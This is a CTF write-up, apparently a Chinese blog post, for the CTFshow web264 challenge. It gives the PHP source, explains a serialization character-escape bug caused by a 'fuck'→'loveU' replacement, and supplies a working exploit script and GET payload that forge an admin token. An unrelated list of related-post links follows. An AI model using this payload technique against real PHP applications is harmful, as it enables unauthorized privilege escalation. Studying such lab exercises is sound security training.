目录

  • 源码
  • 思路
  • 题解
  • 总结

源码

index.php

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38                  |
# @message.php                                              |这里给了提示
# @email: h1xa@ctfer.com                                     |
# @link: https://ctfer.com*/error_reporting(0);
session_start();class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));$_SESSION['msg']=base64_encode($umsg);echo 'Your message has been sent';
}highlight_file(__FILE__);

message.php

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/
session_start();
highlight_file(__FILE__);
include('flag.php');class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_SESSION['msg']));if($msg->token=='admin'){echo $flag;}
}

思路

典型的字符逃逸问题

fuck每转一次love就会逃逸出一个字符

先直接拿到序列化结果

<?php
class message{public $from;public $msg;public $to='a';public $token='user';
}
$msg = new message();
$umsg = serialize($msg);
echo $umsg;
//O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";s:1:"a";s:5:"token";s:4:"user";}

user要改成admin,要逃逸出来的部分实际上是";s:5:"token";s:5:"admin";},一共27个字符要转换27次

题解

exp

<?php
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
$f;
$m;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg;
//O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
index.php
get:?f=&m=&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
message.php
Cookie 加上 msg= xxx

总结

水题

CTFshow 反序列化 web264相关推荐

  1. CTFshow 反序列化 web266

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # ...

  2. CTFshow 反序列化 web259

    目录 源码 思路 题解 总结 源码 <?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']); //vip can get f ...

  3. ctfshow 反序列化篇(下)

    web267(yii框架) 开启靶机,是一个网站,试着搜索有没有重要信息.在这里发现是yii框架. 我们使用弱口令admin/admin就可以登录进来了,那就继续收集重要信息.在源代码中发现了重要注释 ...

  4. CTFshow 反序列化 web277

    目录 源码 题解 总结 源码 查看源代码 提示pickle,得知考点是pickle反序列化 题解 exp 试了几次不能用bash,最后用了/bin/sh,因为环境里面没有装bash,得不到响应nc连上 ...

  5. CTFshow 反序列化 web261

    目录 源码 思路 题解 总结 源码 <?phphighlight_file(__FILE__);class ctfshowvip{public $username;public $passwor ...

  6. CTFshow 反序列化 web260

    目录 源码 思路 题解 总结 源码 <?phperror_reporting(0); highlight_file(__FILE__); include('flag.php');if(preg_ ...

  7. CTFshow 反序列化 web262

    目录 源码 思路 题解 解法一 直接构造类进行序列化 解法二 字符逃逸 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date ...

  8. CTFshow 反序列化 web263

    目录 源码 思路 题解 总结 源码 也没有什么别的信息,扫一下目录,下载www.zip拿到源码 思路 知识点: php在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处 ...

  9. CTFshow 反序列化 web258

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # ...

最新文章

  1. python新手项目-Python 的练手项目有哪些值得推荐?
  2. 面试时,当你有权提问时,别客气,这是个逆转的好机会(内容摘自Java Web轻量级开发面试教程)...
  3. 算法笔记(JavaScript版)——排序
  4. php maximum,解决PHP程序运行时:Fatal error: Maximum execution time of 30 seconds exceeded in的错误提示...
  5. 从濒临解散到浴火重生,OceanBase 这十年经历了什么?
  6. php开始页,页码从第四页开始怎么设置
  7. 程序员,别再无脑刷题了,这样学 Python,编程能力暴增!
  8. 阿尔法贝塔阀原理_臭氧投加在污水处理中的应用_美国阿尔法Alpha
  9. html生成器_这些文案生成器,你知道几个?
  10. apache-apollo Dockfile 镜像制作
  11. Multisim安装问题
  12. 贝叶斯网络、马尔可夫模型、马尔可夫过程、马尔可夫链、马尔可夫网络基本概念
  13. Motorola ME525 刷机教程
  14. 初学者学吉他推荐,别因选错吉他而前功尽弃
  15. 亲自动手写爬虫系列一、实现一个最简单爬虫
  16. 腾讯云手游安全MTP怎么样?腾讯云手游安全MTP值得入手吗?
  17. Imu_heading源码阅读(三)——Ransac_fitline部分
  18. BeanUtils.copyProperties 无法转换数据类型不同的数据
  19. 习题6-5 巡逻机器人(Patrol Robot, ACM/ICPC Hanoi 2006, UVa1600)
  20. UE4灰度图生成地图记录blender生成城市地形

热门文章

  1. 《代码大全》阅读笔记02
  2. 汇编第二章节检测2-1
  3. 2021年寒假将至,教育部致信中小学生家长的一封信:人生如长跑,起步忌冲刺,薄发需厚积
  4. 在eclipse中配置android ndk的自动编译环境builders
  5. oracle600错误,Oracle 导入数据报600错误
  6. python如何做一个数据库_Python创建一个新的Django项目(连接到MySQL数据库),python,新建,mysql...
  7. OSError:[Errno 13] Permission denied:'my_library' 问题解决方法
  8. Python按行输出文件内容具体解释及延伸
  9. Linux初学 - SSH
  10. 年薪50万美金的工程师到底牛在哪里?